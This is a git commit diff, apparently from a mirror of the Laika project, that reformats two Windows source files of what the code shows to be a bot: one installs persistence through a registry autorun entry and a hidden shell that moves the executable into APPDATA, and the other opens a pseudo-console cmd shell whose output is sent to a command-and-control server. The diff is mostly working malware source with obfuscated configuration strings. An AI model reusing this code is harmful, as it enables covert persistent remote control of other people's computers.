mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-30 13:40:08 +00:00
Added .clang-format, formatted codebase
This commit is contained in:
@@ -1,28 +1,30 @@
|
||||
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
|
||||
|
||||
#include <windows.h>
|
||||
#include <shlobj.h>
|
||||
#include <shlwapi.h>
|
||||
#include <windows.h>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
#include "persist.h"
|
||||
#include "lconfig.h"
|
||||
#include "lmem.h"
|
||||
#include "lerror.h"
|
||||
#include "lvm.h"
|
||||
#include "lbox.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lvm.h"
|
||||
#include "persist.h"
|
||||
|
||||
HANDLE laikaB_mutex;
|
||||
|
||||
/* check if laika is running as super-user */
|
||||
bool laikaB_checkRoot() {
|
||||
bool laikaB_checkRoot()
|
||||
{
|
||||
return true; /* stubbed for now */
|
||||
}
|
||||
|
||||
/* mark that laika is currently running */
|
||||
void laikaB_markRunning() {
|
||||
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
|
||||
void laikaB_markRunning()
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
|
||||
|
||||
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
|
||||
|
||||
@@ -37,11 +39,13 @@ void laikaB_markRunning() {
|
||||
}
|
||||
|
||||
/* unmark that laika is currently running */
|
||||
void laikaB_unmarkRunning() {
|
||||
void laikaB_unmarkRunning()
|
||||
{
|
||||
ReleaseMutex(laikaB_mutex);
|
||||
}
|
||||
|
||||
HKEY openReg(HKEY key, LPCSTR subKey) {
|
||||
HKEY openReg(HKEY key, LPCSTR subKey)
|
||||
{
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
@@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) {
|
||||
}
|
||||
|
||||
/* returns raw string value from registry */
|
||||
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
|
||||
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
|
||||
{
|
||||
LPSTR str = NULL;
|
||||
DWORD ret;
|
||||
|
||||
@@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
|
||||
return str;
|
||||
}
|
||||
|
||||
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
|
||||
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
|
||||
{
|
||||
LONG code;
|
||||
|
||||
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to write registry!\n");
|
||||
}
|
||||
|
||||
void getExecutablePath(LPSTR path) {
|
||||
void getExecutablePath(LPSTR path)
|
||||
{
|
||||
CHAR modulePath[MAX_PATH] = {0};
|
||||
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
|
||||
LAIKA_ERROR("Failed to get executable path!\n");
|
||||
@@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) {
|
||||
LAIKA_DEBUG("EXE: %s\n", path);
|
||||
}
|
||||
|
||||
void getInstallPath(LPSTR path) {
|
||||
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
|
||||
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
|
||||
void getInstallPath(LPSTR path)
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
|
||||
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
|
||||
CHAR SHpath[MAX_PATH] = {0};
|
||||
|
||||
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
|
||||
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
|
||||
* microsoft will probably never completely remove it :P */
|
||||
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
|
||||
LAIKA_ERROR("Failed to get APPDATA!\n");
|
||||
|
||||
@@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) {
|
||||
lstrcpyA(path, "\"");
|
||||
lstrcatA(path, SHpath);
|
||||
lstrcatA(path, "\"");
|
||||
|
||||
|
||||
LAIKA_DEBUG("INSTALL: %s\n", path);
|
||||
|
||||
LAIKA_BOX_SKID_END(instFile);
|
||||
LAIKA_BOX_SKID_END(instDir);
|
||||
}
|
||||
|
||||
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
|
||||
spawn a shell to move the exe *after* we exit. */
|
||||
void installSelf() {
|
||||
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
|
||||
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
|
||||
the executable is open), so we spawn a shell to move the exe *after* we exit. */
|
||||
void installSelf()
|
||||
{
|
||||
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
|
||||
|
||||
getExecutablePath(szFile);
|
||||
getInstallPath(szInstall);
|
||||
@@ -130,24 +140,27 @@ void installSelf() {
|
||||
|
||||
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
|
||||
|
||||
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
|
||||
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
|
||||
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
|
||||
* TODO: move this string to a secret box */
|
||||
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
|
||||
lstrcatA(szCmd, szFile);
|
||||
lstrcatA(szCmd, " ");
|
||||
lstrcatA(szCmd, szInstall);
|
||||
lstrcatA(szCmd, " > NUL & ");
|
||||
lstrcatA(szCmd, szInstall);
|
||||
|
||||
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
||||
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
|
||||
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
||||
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
||||
|
||||
laikaB_unmarkRunning();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void installRegistry() {
|
||||
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
|
||||
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
|
||||
void installRegistry()
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
|
||||
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
|
||||
CHAR newRegValue[MAX_PATH] = {0};
|
||||
LPSTR regVal;
|
||||
DWORD regSz;
|
||||
@@ -182,12 +195,14 @@ void installRegistry() {
|
||||
}
|
||||
|
||||
/* try to gain persistance on machine */
|
||||
void laikaB_tryPersist() {
|
||||
void laikaB_tryPersist()
|
||||
{
|
||||
installRegistry();
|
||||
installSelf();
|
||||
}
|
||||
|
||||
/* try to gain root */
|
||||
void laikaB_tryRoot() {
|
||||
void laikaB_tryRoot()
|
||||
{
|
||||
/* stubbed */
|
||||
}
|
@@ -1,14 +1,15 @@
|
||||
/* platform specific code for opening shells (pseudo consoles) on windows */
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <windows.h>
|
||||
#include <process.h>
|
||||
#include <windows.h>
|
||||
|
||||
/* shells are significantly more complex on windows than linux for laika */
|
||||
struct sLaika_RAWshell {
|
||||
struct sLaika_RAWshell
|
||||
{
|
||||
struct sLaika_shell _shell;
|
||||
HANDLE in, out;
|
||||
PROCESS_INFORMATION procInfo;
|
||||
@@ -16,12 +17,16 @@ struct sLaika_RAWshell {
|
||||
HPCON pseudoCon;
|
||||
};
|
||||
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||
int rows);
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
|
||||
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||
{
|
||||
;
|
||||
TCHAR szComspec[MAX_PATH];
|
||||
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
struct sLaika_RAWshell *shell =
|
||||
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
HRESULT hr;
|
||||
|
||||
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
|
||||
@@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
||||
}
|
||||
|
||||
/* launch cmd shell */
|
||||
hr = CreateProcess(
|
||||
NULL, /* No module name - use Command Line */
|
||||
szComspec, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||
NULL, /* Use parent's environment block */
|
||||
NULL, /* Use parent's starting directory */
|
||||
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
|
||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
hr = CreateProcess(NULL, /* No module name - use Command Line */
|
||||
szComspec, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||
NULL, /* Use parent's environment block */
|
||||
NULL, /* Use parent's starting directory */
|
||||
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
|
||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||
? S_OK
|
||||
: HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
if (hr != S_OK) {
|
||||
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||
|
||||
|
||||
ClosePseudoConsole(shell->pseudoCon);
|
||||
|
||||
laikaM_free(shell);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return (struct sLaika_shell*)shell;
|
||||
return (struct sLaika_shell *)shell;
|
||||
}
|
||||
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
|
||||
/* kill process (it's ok if it fails) */
|
||||
TerminateProcess(shell->procInfo.hProcess, 0);
|
||||
@@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
|
||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||
|
||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
|
||||
/* edited from
|
||||
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||
int rows)
|
||||
{
|
||||
COORD consoleSize = (COORD){.X = cols, .Y = rows};
|
||||
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
|
||||
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
|
||||
@@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
||||
DWORD mode = PIPE_NOWAIT;
|
||||
|
||||
/* create the pipes to which the ConPTY will connect */
|
||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
|
||||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
|
||||
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
|
||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
|
||||
easier so it fits in nicely with the rest of the laika codebase
|
||||
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
|
||||
*/
|
||||
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
@@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
||||
return hr;
|
||||
}
|
||||
|
||||
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
|
||||
/* also edited from
|
||||
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
|
||||
{
|
||||
HRESULT hr = E_UNEXPECTED;
|
||||
|
||||
if (pStartupInfo) {
|
||||
@@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
|
||||
|
||||
/* Initialize thread attribute list */
|
||||
if (pStartupInfo->lpAttributeList
|
||||
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
|
||||
if (pStartupInfo->lpAttributeList &&
|
||||
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
|
||||
|
||||
/* Set Pseudo Console attribute */
|
||||
hr = UpdateProcThreadAttribute(
|
||||
pStartupInfo->lpAttributeList,
|
||||
0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
|
||||
hPC,
|
||||
sizeof(HPCON),
|
||||
NULL,
|
||||
NULL)
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
|
||||
NULL, NULL)
|
||||
? S_OK
|
||||
: HRESULT_FROM_WIN32(GetLastError());
|
||||
} else {
|
||||
hr = HRESULT_FROM_WIN32(GetLastError());
|
||||
}
|
||||
@@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
return hr;
|
||||
}
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
DWORD rd;
|
||||
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
|
||||
bool readSucc =
|
||||
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
|
||||
|
||||
if (readSucc) {
|
||||
/* we read some input! send to cnc */
|
||||
@@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else {
|
||||
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||
if (GetLastError() == ERROR_NO_DATA &&
|
||||
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||
return true; /* recoverable, process is still alive */
|
||||
/* unrecoverable error */
|
||||
laikaB_freeShell(bot, _shell);
|
||||
@@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
|
||||
size_t length)
|
||||
{
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
size_t nLeft;
|
||||
DWORD nWritten;
|
||||
|
||||
nLeft = length;
|
||||
while (nLeft > 0) {
|
||||
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
||||
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
|
||||
/* unrecoverable error */
|
||||
laikaB_freeShell(bot, _shell);
|
||||
return false;
|
||||
|
Reference in New Issue
Block a user